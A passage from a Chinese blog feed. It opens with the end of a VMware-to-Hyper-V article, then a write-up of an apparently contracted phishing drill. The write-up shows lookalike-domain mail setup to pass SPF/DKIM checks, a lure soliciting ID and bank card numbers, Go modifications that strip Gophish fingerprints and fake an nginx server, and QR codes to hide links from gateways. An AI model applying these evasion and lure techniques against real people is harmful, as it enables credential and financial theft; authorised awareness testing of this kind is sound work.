&lt;h3&gt;3. 记下原系统的启动方式&lt;/h3&gt;
&lt;p&gt;如果你知道它原来是 BIOS 还是 UEFI，后面在 Hyper-V 创建代数时会省很多事。&lt;/p&gt;
&lt;h3&gt;4. 确认网络方案&lt;/h3&gt;
&lt;p&gt;Hyper-V 的网络交换机分为外部、内部、专用几种。很多人第一次用时会卡在这里。&lt;/p&gt;
&lt;p&gt;简单理解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;外部交换机：虚拟机能直接出网&lt;/li&gt;
&lt;li&gt;内部交换机：主机和虚拟机能互通，但默认不直接连外网&lt;/li&gt;
&lt;li&gt;专用交换机：虚拟机之间互通，主机不参与&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你迁移的是实验环境、分析环境或者恶意样本测试环境，内部交换机通常是一个更稳妥的起点。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十二、如果只是入门，应该怎么选&lt;/h2&gt;
&lt;p&gt;最后把结论说得直白一点。&lt;/p&gt;
&lt;p&gt;如果你是下面这种情况，继续用 VMware 往往更省心：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;想快速装个虚拟机就开始用&lt;/li&gt;
&lt;li&gt;旧镜像很多，而且一直运行正常&lt;/li&gt;
&lt;li&gt;没有强烈的 Windows 原生整合需求&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你是下面这种情况，Hyper-V 更值得投入：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的工作环境本来就围绕 Windows 生态&lt;/li&gt;
&lt;li&gt;你需要和 WSL2、Sandbox、Windows 安全能力协同&lt;/li&gt;
&lt;li&gt;你打算长期维护一套更偏原生的 Windows 虚拟化方案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;真正重要的不是“谁更高级”，而是你现在的工作流更适合谁。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十三、一个适合新手的理解方式&lt;/h2&gt;
&lt;p&gt;如果你还是觉得抽象，可以把两者理解成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VMware Workstation 更像一套成熟、独立、面向个人桌面的虚拟机工具&lt;/li&gt;
&lt;li&gt;Hyper-V 更像 Windows 体系内建的虚拟化基础设施&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前者强调“拿来就用”，后者强调“和系统深度协同”。&lt;/p&gt;
&lt;p&gt;这也是为什么很多人一开始更喜欢 VMware，但随着开发、测试、运维、安全研究的工作逐渐深入，最后又会回到 Hyper-V。&lt;/p&gt;
&lt;p&gt;不是因为前者突然不好用了，而是因为后者在某些 Windows 场景下，确实更顺手。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;如果只用一句话来概括这篇文章，那就是：&lt;/p&gt;
&lt;p&gt;从 VMware 迁移到 Hyper-V，不只是换一个软件图标，而是在切换一套虚拟化思路。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么两边架构不同&lt;/li&gt;
&lt;li&gt;为什么 VMware 会有那么多形态各异的 VMDK&lt;/li&gt;
&lt;li&gt;为什么转换后还要关心启动方式、代数和文件属性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把这些基础认知补上之后，迁移这件事就不会再显得很玄学。很多看起来复杂的问题，最后也只是“选错了入口文件”或者“代数选错了”这么简单。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>关于Gophish：从二次开发到语义Fuzz的实战之路</title><link>https://astro-pure.js.org/blog/gophish-semantic-fuzz</link><guid isPermaLink="true">https://astro-pure.js.org/blog/gophish-semantic-fuzz</guid><description>Gophish钓鱼平台二次开发与邮件网关绕过实战记录</description><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 项目背景与前提&lt;/h2&gt;
&lt;h3&gt;0.1 项目场景&lt;/h3&gt;
&lt;p&gt;最近接了个钓鱼演练的活，整的焦头烂额，连续爆肝两天，我的主要目标是通过社会工程学手段测试企业员工的安全意识和邮件网关的防护能力。客户环境如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标规模&lt;/strong&gt;: 5000+ 员工，多个事业部&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件系统&lt;/strong&gt;: coremail&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防护措施:&lt;/strong&gt;  未知&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 初始工具选择&lt;/h3&gt;
&lt;p&gt;作为穷人，公司也并没有提供商业工具，我选择了 &lt;strong&gt;Gophish&lt;/strong&gt; 作为基础钓鱼平台，原因如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 开源且成熟稳定&lt;/li&gt;
&lt;li&gt;✅ 支持完整的项目管理&lt;/li&gt;
&lt;li&gt;✅ 内置邮件追踪和统计&lt;/li&gt;
&lt;li&gt;✅ Go语言开发，便于二次开发&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.3 面临的核心挑战&lt;/h3&gt;
&lt;p&gt;然而，直接使用原版Gophish进行测试时，我遇到了&lt;strong&gt;100%的拦截率&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;测试结果（Day 1）:
├─ 发送邮件: 50 封
├─ 成功投递: 0 封
├─ 被拦截: 50 封
└─ 拦截原因: &quot;Suspected phishing activity detected&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 发件基础设施搭建：从失败到可信域绕过&lt;/h2&gt;
&lt;p&gt;在正式进行钓鱼测试前，我首先需要解决&lt;strong&gt;邮件投递问题&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;1.1 第一次尝试：Postfix SMTP（失败）&lt;/h3&gt;
&lt;h4&gt;初始方案&lt;/h4&gt;
&lt;p&gt;最开始，我尝试使用&lt;strong&gt;自建Postfix邮件服务器&lt;/strong&gt;直接发送钓鱼邮件：&lt;br&gt;
（至于为什么不用ewomail，网上都推荐的这个，因为不是centos，没办法跑，直接找了最简单的进行测试了。）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Postfix配置（Ubuntu 20.04）
sudo apt-get install postfix

# 基础配置
myhostname = mail.phishing-domain.com
mydomain = phishing-domain.com
myorigin = $mydomain

# 这里我并没有配置真实的DNS MX记录，直接伪造的一个相近邮箱进行发送测试。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;/h4&gt;
&lt;p&gt;QQ邮箱 通过。&lt;/p&gt;
&lt;p&gt;163邮箱 通过。&lt;/p&gt;
&lt;p&gt;189邮箱 失败，550。&lt;/p&gt;
&lt;p&gt;客户给的测试邮箱 失败 550。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138272-bb8608.D01OiZqP.png&amp;#x26;w=1103&amp;#x26;h=552&amp;#x26;f=webp&quot; alt=&quot;邮件发送失败截图&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志输出&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Dec 28 10:23:45 postfix/smtp[12345]: connect to mx.189.cn[1.2.3.4]:25: Connection timed out
Dec 28 10:24:12 postfix/smtp[12345]: 550 5.7.1 Message rejected due to poor sender reputation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜测失败原因&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 问题 |  | 189网关判定 |
| --- | --- | --- |
|  &lt;strong&gt;IP信誉低&lt;/strong&gt; |  | 垃圾邮件发送源 |
| &lt;strong&gt;无SPF记录&lt;/strong&gt; |  | 伪造发件人 |
| &lt;strong&gt;无DKIM签名&lt;/strong&gt; |  | 身份不可信 |
| &lt;strong&gt;域名年龄新&lt;/strong&gt; |  | 钓鱼域名特征 |
| &lt;strong&gt;反向DNS缺失&lt;/strong&gt; |  | 非正规邮件服务器 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;投递率&lt;/strong&gt;：&lt;strong&gt;0%&lt;/strong&gt; （全部被189网关在SMTP握手阶段拒绝）&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1.2 第二次尝试：Zoho企业邮箱（成功）&lt;/h3&gt;
&lt;h4&gt;解决思路&lt;/h4&gt;
&lt;p&gt;既然自建服务器信誉不足，我决定借助成熟的企业邮箱服务：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;选择Zoho Mail&lt;/strong&gt;：免费企业邮箱，支持自定义域名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域名准备&lt;/strong&gt;：购买类似域名，没要求就以便宜的为主了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完整配置&lt;/strong&gt;：SPF、DKIM、DMARC三件套&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Zoho邮箱配置过程&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;步骤1：注册Zoho企业邮箱&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;1. 访问 https://www.zoho.com/mail/
2. 选择免费版（支持最多5个邮箱账户）
3. 验证域名所有权（DNS TXT记录验证）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤2：配置DNS记录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 1. MX记录（指向Zoho服务器）
@  IN  MX  10  mx.zoho.com.
@  IN  MX  20  mx2.zoho.com.
@  IN  MX  50  mx3.zoho.com.

# 2. SPF记录（授权Zoho代发）
@  IN  TXT  &quot;v=spf1 include:zoho.com ~all&quot;

# 3. DKIM记录（邮件签名公钥）
zmail._domainkey  IN  TXT  &quot;v=DKIM1; k=rsa; p=MIGfMA0GCSqGDQEBAQUAA4GNADCBiQKBgQC...&quot;

# 4. DMARC记录（域名邮件政策）
_dmarc  IN  TXT  &quot;v=DMARC1; p=none; rua=mailto:dmarc@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤3：验证配置&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 检查SPF记录
dig TXT phishing-domain.com +short
# 输出: &quot;v=spf1 include:zoho.com ~all&quot;

# 检查DKIM记录
dig TXT zmail._domainkey.phishing-domain.com +short
# 输出: &quot;v=DKIM1; k=rsa; p=MIGfMA0GCS...&quot;

# 检查DMARC记录
dig TXT _dmarc.phishing-domain.com +short
# 输出: &quot;v=DMARC1; p=none; rua=mailto:dmarc@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤4：创建发件账户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;邮箱地址: hr@phishing-domain.com
显示名称: 人力资源部
签名: 人力资源部 | phishing-domain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果（可信域绕过成功）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;第一轮测试：纯文本邮件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 使用Zoho SMTP发送测试
import smtplib
from email.mime.text import MIMEText

msg = MIMEText(&quot;这是一封测试邮件&quot;, &apos;plain&apos;, &apos;utf-8&apos;)
msg[&apos;From&apos;] = &apos;hr@phishing-domain.com&apos;
msg[&apos;To&apos;] = &apos;target@189.cn&apos;
msg[&apos;Subject&apos;] = &apos;测试通知&apos;

server = smtplib.SMTP_SSL(&apos;smtp.zoho.com&apos;, 465)
server.login(&apos;hr@phishing-domain.com&apos;, &apos;password&apos;)
server.send_message(msg)
server.quit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SMTP响应: 250 OK
189网关验证: SPF PASS, DKIM PASS
投递状态: 成功投递至收件箱
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重大突破&lt;/strong&gt;：通过Zoho企业邮箱 + SPF/DKIM/DMARC配置，189是可以收到邮件的。&lt;/p&gt;
&lt;p&gt;正当我以为一切都结束的时候，给客户发，得到的回复依然是收不到。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1.3 第三次尝试：钓鱼模板发送（再次失败）&lt;/h3&gt;
&lt;p&gt;虽然可信域问题解决了，但当我发送真实钓鱼内容时，又遇到了新的拦截：&lt;/p&gt;
&lt;h4&gt;测试邮件（含钓鱼内容）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;From: hr@phishing-domain.com
To: target@189.cn
Subject: 【重要】2025年终奖发放通知

各位同事，您好：

现正式启动年终奖金发放信息核对工作！

请点击以下链接登录系统核对您的身份证号和银行卡信息：
http://portal.phishing-domain.com/verify?id=xxx

人力资源部
2025年12月28日
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&gt;&gt;&gt; MAIL FROM:&amp;#x3C;hr@phishing-domain.com&gt;
&amp;#x3C;&amp;#x3C;&amp;#x3C; 250 OK
&gt;&gt;&gt; RCPT TO:&amp;#x3C;target@189.cn&gt;
&amp;#x3C;&amp;#x3C;&amp;#x3C; 250 OK
&gt;&gt;&gt; DATA
&amp;#x3C;&amp;#x3C;&amp;#x3C; 354 Start mail input
&gt;&gt;&gt; [发送邮件内容...]
&amp;#x3C;&amp;#x3C;&amp;#x3C; 550
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138344-e5b0be.BYaH7lGc.png&amp;#x26;w=2429&amp;#x26;h=1160&amp;#x26;f=webp&quot; alt=&quot;图片344-e5b0bece-ec5b-4bf7-a10e-28c4c5af0df4&quot;&gt;&lt;/p&gt;
&lt;p&gt;这就很有意思了，众所周知大企业一般布有企业级邮件网关，那么他邮件网关到底是拦截的什么，是什么策略？这些我们都不得而知，只有一点点fuzz了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜测失败原因&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 检测层 | 结果 | 详情 |
| --- | --- | --- |
| ✅ SPF验证 | PASS | Zoho授权发送 |
| ✅ DKIM验证 | PASS | 邮件签名有效 |
| ✅ 域名信誉 | PASS | Zoho企业邮箱可信 |
| ❌ &lt;strong&gt;内容检测&lt;/strong&gt; | &lt;strong&gt;FAIL&lt;/strong&gt; | 触发关键词过滤 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜测被拦截的关键词&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;❌ 主题: &quot;年终奖&quot;
❌ 正文: &quot;年终奖金&quot;、&quot;身份证号&quot;、&quot;银行卡&quot;
❌ 行为: &quot;请点击链接&quot;
❌ URL: &quot;verify&quot;路径
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 阶段性总结&lt;/h3&gt;
&lt;p&gt;经过几轮尝试，我得出以下结论：&lt;/p&gt;
&lt;h4&gt;已解决的问题&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;可信域检测&lt;/strong&gt; → 通过Zoho企业邮箱 + SPF/DKIM/DMARC配置绕过&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP信誉问题&lt;/strong&gt; → 使用Zoho的可信IP池&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP握手&lt;/strong&gt; → 正常完成，不会在连接阶段被拒绝&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;仍存在的问题&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内容关键词检测&lt;/strong&gt; → 189网关对邮件内容进行深度扫描&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;钓鱼模式识别&lt;/strong&gt; → &quot;点击链接+验证信息&quot;等模式被识别&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL路径检测&lt;/strong&gt; → &quot;verify&quot;、&quot;login&quot;等路径触发拦截&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;下一步策略&lt;/h4&gt;
&lt;p&gt;既然&lt;strong&gt;可信域问题已解决&lt;/strong&gt;，但&lt;strong&gt;内容仍被拦截&lt;/strong&gt;，我需要：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对Gophish进行二次开发，去除工具指纹。&lt;/li&gt;
&lt;li&gt;继续FUZZ邮件内容找到网关盲区。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;这也是本文后续章节的核心内容。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 二次开发阶段：去指纹化改造&lt;/h2&gt;
&lt;h3&gt;2.1 指纹分析&lt;/h3&gt;
&lt;p&gt;通过我能够发送成功的邮箱获取到未改造前的eml，我识别出以下Gophish特征：&lt;/p&gt;
&lt;h4&gt;邮件头特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-Gophish-Contact: ...
X-Mailer: gophish
X-Gophish-Signature: ...
Message-ID: &amp;#x3C;...@gophish&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138411-69ef15.D8IZohgp.png&amp;#x26;w=933&amp;#x26;h=448&amp;#x26;f=webp&quot; alt=&quot;图片411-69ef15c5-813c-43b0-939f-0b3943ae7075&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h4&gt;URL特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://phish.test/?rid=aBc123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138484-3f5301.C_wzfOK0.png&amp;#x26;w=794&amp;#x26;h=195&amp;#x26;f=webp&quot; alt=&quot;图片484-3f530126-51f5-4961-8e3e-79cd6f44dac6&quot;&gt;&lt;/p&gt;
&lt;h4&gt;服务端特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 原始代码 controllers/phish.go
const ServerName = &quot;gophish&quot;

// HTTP响应头
Server: gophish
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 改造策略&lt;/h3&gt;
&lt;p&gt;感觉特征有点多，基于分析结果，决定先把Gophish本身的特征改一下。&lt;/p&gt;
&lt;h4&gt;改造清单&lt;/h4&gt;
&lt;p&gt;| 模块 | 原始特征 | 改造方案 | 文件位置 |
| --- | --- | --- | --- |
| 邮件头 | &lt;code&gt;X-Gophish-*&lt;/code&gt; | 完全移除或伪造成业务头 | &lt;code&gt;models/email_request.go&lt;/code&gt; |
| Mailer | &lt;code&gt;X-Mailer: gophish&lt;/code&gt; | 伪造成常见邮件客户端 | &lt;code&gt;models/email_request.go&lt;/code&gt; |
| 服务端 | &lt;code&gt;Server: gophish&lt;/code&gt; | 移除或伪装成Nginx | &lt;code&gt;config/config.go&lt;/code&gt; |
| 追踪路由 | &lt;code&gt;/track&lt;/code&gt; | → &lt;code&gt;/resource/image/pixel.png&lt;/code&gt; | &lt;code&gt;controllers/route.go&lt;/code&gt; |
| 上报路由 | &lt;code&gt;/report&lt;/code&gt; | → &lt;code&gt;/api/v1/status&lt;/code&gt; | &lt;code&gt;controllers/route.go&lt;/code&gt; |
| 静态资源 | &lt;code&gt;gophish.css&lt;/code&gt; | → &lt;code&gt;app.css&lt;/code&gt; | &lt;code&gt;static/&lt;/code&gt;, &lt;code&gt;templates/&lt;/code&gt; |
| 404页面 | Gophish默认页面 | 伪造Nginx 404 | &lt;code&gt;controllers/phish.go&lt;/code&gt; |&lt;/p&gt;
&lt;h4&gt;核心代码改造&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1. 移除服务端标识&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// config/config.go
type Config struct {
    AdminConf AdminServer   `json:&quot;admin_server&quot;`
    PhishConf PhishServer   `json:&quot;phish_server&quot;`
    // ServerName string     // 🔥 直接删除此字段
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 邮件头特征处理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对比原版Gophish和修改后的版本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;// models/email_request.go - Generate()函数

 func (s *EmailRequest) Generate(msg *gomail.Message) error {
     // ... 前置代码 ...
     
-    // 原版Gophish：添加透明度标识头
-    msg.SetHeader(&quot;X-Mailer&quot;, config.ServerName)  // &quot;gophish&quot;
-    if conf.ContactAddress != &quot;&quot; {
-        msg.SetHeader(&quot;X-Gophish-Contact&quot;, conf.ContactAddress)
-    }
     
+    // 改进方案：完全不设置Gophish特征头
+    // 替代方案：添加常见的业务邮件头
+    msg.SetHeader(&quot;X-Priority&quot;, &quot;1&quot;)
+    msg.SetHeader(&quot;Importance&quot;, &quot;High&quot;)
+    msg.SetHeader(&quot;MIME-Version&quot;, &quot;1.0&quot;)
     
     // 解析自定义邮件头（用户可配置）
     for _, header := range s.SMTP.Headers {
         key, err := ExecuteTemplate(header.Key, ptx)
         value, err := ExecuteTemplate(header.Value, ptx)
         msg.SetHeader(key, value)
     }
     
     // ... 后续代码 ...
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138565-166e0f.DEPKMIX-.png&amp;#x26;w=752&amp;#x26;h=682&amp;#x26;f=webp&quot; alt=&quot;图片565-166e0f4a-bc12-4464-9eba-8ba70816ccda&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键改动&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Mailer: gophish&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Gophish-Contact&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Gophish-Signature&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加&lt;/strong&gt; &lt;code&gt;X-Priority: 1&lt;/code&gt;（提升邮件优先级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加&lt;/strong&gt; &lt;code&gt;Importance: High&lt;/code&gt;（标记重要邮件）会在邮箱里面自主设置为红色叹号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保留&lt;/strong&gt; 用户自定义邮件头功能（SMTP配置中可添加）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;原版Gophish出于&quot;透明度&quot;考虑，会主动添加X-Gophish-*头标识自己&lt;/li&gt;
&lt;li&gt;我的改进方案是完全不设置这些头，让邮件看起来像普通业务邮件&lt;/li&gt;
&lt;li&gt;通过添加&lt;code&gt;X-Priority&lt;/code&gt;和&lt;code&gt;Importance&lt;/code&gt;头，模仿Outlook等客户端发送的重要邮件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 混淆追踪路由&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 原始路由：router.HandleFunc(&quot;/track&quot;, ps.TrackHandler)
    // 新路由：伪装成静态资源
    router.HandleFunc(&quot;/resource/image/pixel.png&quot;, ps.TrackHandler)
    
    // 原始路由：router.HandleFunc(&quot;/report&quot;, ps.ReportHandler)  
    // 新路由：伪装成API端点
    router.HandleFunc(&quot;/api/v1/status&quot;, ps.ReportHandler)
    
    // 添加伪造的404处理
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. 伪造Nginx 404页面&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/phish.go
func (ps *Server) FakeNginx404(w http.ResponseWriter, r *http.Request) {
    w.Header().Set(&quot;Server&quot;, &quot;nginx/1.18.0&quot;)
    w.Header().Set(&quot;Content-Type&quot;, &quot;text/html&quot;)
    w.WriteHeader(404)
    
    html := `&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;title&gt;404 Not Found&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        h1 { font-size: 50px; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;h1&gt;404 Not Found&amp;#x3C;/h1&gt;
    &amp;#x3C;p&gt;nginx/1.18.0&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;`
    
    w.Write([]byte(html))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. 修改参数名称&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/campaign.go
// 将追踪参数从 rid 改为更常见的 id
const RecipientParameter = &quot;id&quot;  // 原: &quot;rid&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. 动态QR码功能开发&lt;/strong&gt;（借鉴EvilGophish）&lt;/p&gt;
&lt;p&gt;这是一个新增的需求。&lt;/p&gt;
&lt;p&gt;在测试过程中，猜测如果超链接被拦截，那就是检测的明文URL，于是借鉴了&lt;strong&gt;EvilGophish项目&lt;/strong&gt;，实现了&lt;strong&gt;动态QR码生成和CID嵌入&lt;/strong&gt;功能。&lt;/p&gt;
&lt;h4&gt;与原版Gophish的区别&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;原版Gophish的CID支持&lt;/strong&gt;（已有功能）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/maillog.go - Gophish原版
var embeddedFileExtensions = []string{&quot;.jpg&quot;, &quot;.jpeg&quot;, &quot;.png&quot;, &quot;.gif&quot;}

func addAttachment(msg *gomail.Message, a Attachment, ...) {
    if shouldEmbedAttachment(a.Name) {
        msg.Embed(a.Name, copyFunc)  // 🔹 静态CID嵌入
    } else {
        msg.Attach(a.Name, copyFunc)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用方式&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在模板编辑器中上传静态图片（如logo.png）&lt;/li&gt;
&lt;li&gt;在HTML中使用&lt;code&gt;&amp;#x3C;img src=&quot;cid:logo.png&quot;&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制&lt;/strong&gt;：所有收件人看到相同的图片（问题就来了，没有办法追踪谁点击了）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;改进&lt;/strong&gt;（基于EvilGophish）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;//  动态生成每个收件人的专属QR码
func NewPhishingTemplateContext(...) {
    qrSize := ctx.getQRSize()
    if qrSize != &quot;&quot; {
        //  关键：根据收件人ID动态生成QR码
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = &quot;&amp;#x3C;img src=\&quot;cid:\&quot; + qrName + &quot;\&quot;&gt;&quot;
    }
    return PhishingTemplateContext{
        QR: qr,  //  每个收件人不同的QR码
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;核心区别&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 特性 | 原版Gophish | EvilGophish改进 |
| --- | --- | --- |
| &lt;strong&gt;CID嵌入&lt;/strong&gt; | 支持 | 支持 |
| &lt;strong&gt;图片类型&lt;/strong&gt; | 静态附件 | &lt;strong&gt;动态生成QR码&lt;/strong&gt; |
| &lt;strong&gt;个性化&lt;/strong&gt; | 所有人相同 | 每人专属（含个人ID） |
| &lt;strong&gt;URL跟踪&lt;/strong&gt; | 无法追踪 | QR码包含rid参数 |&lt;/p&gt;
&lt;h4&gt;为什么需要动态QR码？&lt;/h4&gt;
&lt;p&gt;根据EvilGophish和相关研究，QR码在钓鱼中具有独特优势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;隐藏明文URL&lt;/strong&gt; - URL被编码为二维码图片，邮件网关的URL检测和沙箱分析无法直接提取&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提升可信度&lt;/strong&gt; - 企业邮件（年终奖、考勤）常用二维码，符合用户认知&lt;/li&gt;
